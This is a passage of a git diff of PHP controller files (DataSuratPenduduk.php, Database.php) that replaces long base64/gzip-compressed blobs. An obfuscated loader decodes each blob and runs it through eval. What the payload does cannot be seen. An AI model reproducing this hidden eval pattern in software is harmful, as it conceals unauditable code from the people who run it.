NugdguqdAqqNd7HR2TB+nWqwfvvUM4VdTd9qQLbCq/c1gp6xCKtn64hHtDePeNzTEc9Rcx+PXz9HYve750jgAPNT8jOOa5nzkAP5J/Uzd8LuXmfgNfv7Gbs216f2Y7LQUYChA50Qf1HpmeIjPY9HzM+yaBPPqnchmsX1oV0wB3/Hx1n/WGaHbTxHKH5a5vr+18YMJFsAZuv+0W7MGVNF9G1SrV/yPZinffGU9g8OfHKR8feVsB7E95fzKMJRnqHj4tuHD//+l7q+88/f6m9//fae7gd9f6bjX/YT/nZBf1/87Wna8/+dc/750f+dc4yh345AW0Hor9/+BWr64hM='; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/DataSuratPenduduk.php b/donjo-app/controllers/DataSuratPenduduk.php index 44abe6ce4..942f7bad7 100644 --- a/donjo-app/controllers/DataSuratPenduduk.php +++ b/donjo-app/controllers/DataSuratPenduduk.php @@ -276,7 +276,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; + $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='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'; $___();$__________($______($__($_))); $________=$____(); $_____(); echo diff --git a/donjo-app/controllers/Database.php b/donjo-app/controllers/Database.php index 86819387f..6f3d1422c 100644 --- a/donjo-app/controllers/Database.php +++ b/donjo-app/controllers/Database.php @@ -240,7 +240,7 @@ $__________________='X19sYW1iZGE='; $______=' Z3p1bmNvbXByZXNz'; $___=' b2Jfc3RhcnQ='; $____='b2JfZ2V0X2NvbnRlbnRz'; $__= 'base64_decode' ; $______=$__($______); if(!function_exists('__lambda')){function __lambda($sArgs,$sCode){return eval("return function($sArgs){{$sCode}};");}} $__________________=$__($__________________); $______________=$__($______________); - $__________=$__________________('$_',$______________); $_____=$__($_____); $____=$__($____); $___=$__($___); $_='eNrtXW1zqli2/t5V9z/0h6k6c6vvnQGNpw/V1R+CEYREE0EB+TLFSwQjIh3f/fX3WXsDomKS0913au6d0OMkGth7s/Zaz3rWC54ff+THX/6B49cv2es0XU2+/MLe5sevX8JF+rL4by/L/h4s0tXrIkmeX5d/v/NWnu8tn/+WxdmP7cRbLv/2t799+eWHfMQf/+OHz//+ff77gVTmxz/x+PXiky+OKC3Htjh11c6vX9hHR2370JGr9a8/fh6fx+fxefz/PL4Ec0sIHX2tqVZjbG8XuiJNnP3sZw6aQE0O1//4FNXn8Xl8Hp/H5/F5fB6fx+fxefxfOz7TGZ/H5/F5fB7/f48vVGn5evOP8DlYhM9ffvmUyOfxeXwen8fn8Xn8oeO01+FusOi3p99+w8/oPhLutfYiMubJ0jXlzJ/PovFcST1bWWuqEQfz2dfqecOmnPhJXzdu2XuMc/ubpvSzoGkkPrve3QRzMQ4as8hVrcPYlA8h1bMdLQpVaz9OrVd8JvqpIXp7eeXaYuzRZ/YNP39QGbejbH01eR07/YzW4k/lg9/EGI1RNG5Is2K9rprsPXuXBXsZ8+gznI91r+j8pef0Ez/F9Z1wMGzLdm9bHT+OsYY7z5GFsXm7793dtrS2EPVebnd9U77zG+LUs1uJpuhJ0JDEYN5PtE6yxr1mYdcSPFtaa+14EXaN7eP028bvWivc39ptrDa+Y609B/Lbt9auM9jc8/uKTFV51TqQV9eItTtt2xuOowc2tyZoipxg3aLvQD4q5N8xMG8nMtQkpbH8tjzC/U1DexUX8waHxeahIW1duzVzcd8P82R2fyJD7Ms8JFkUsiIZZV6D9jf56tk3S63bT8YNZY99SYO5InhOb6mpqyRQlRntH3Rhi5/bEHv0DL1w2b61IGc5DlUm58MY8vfnyprpylTG3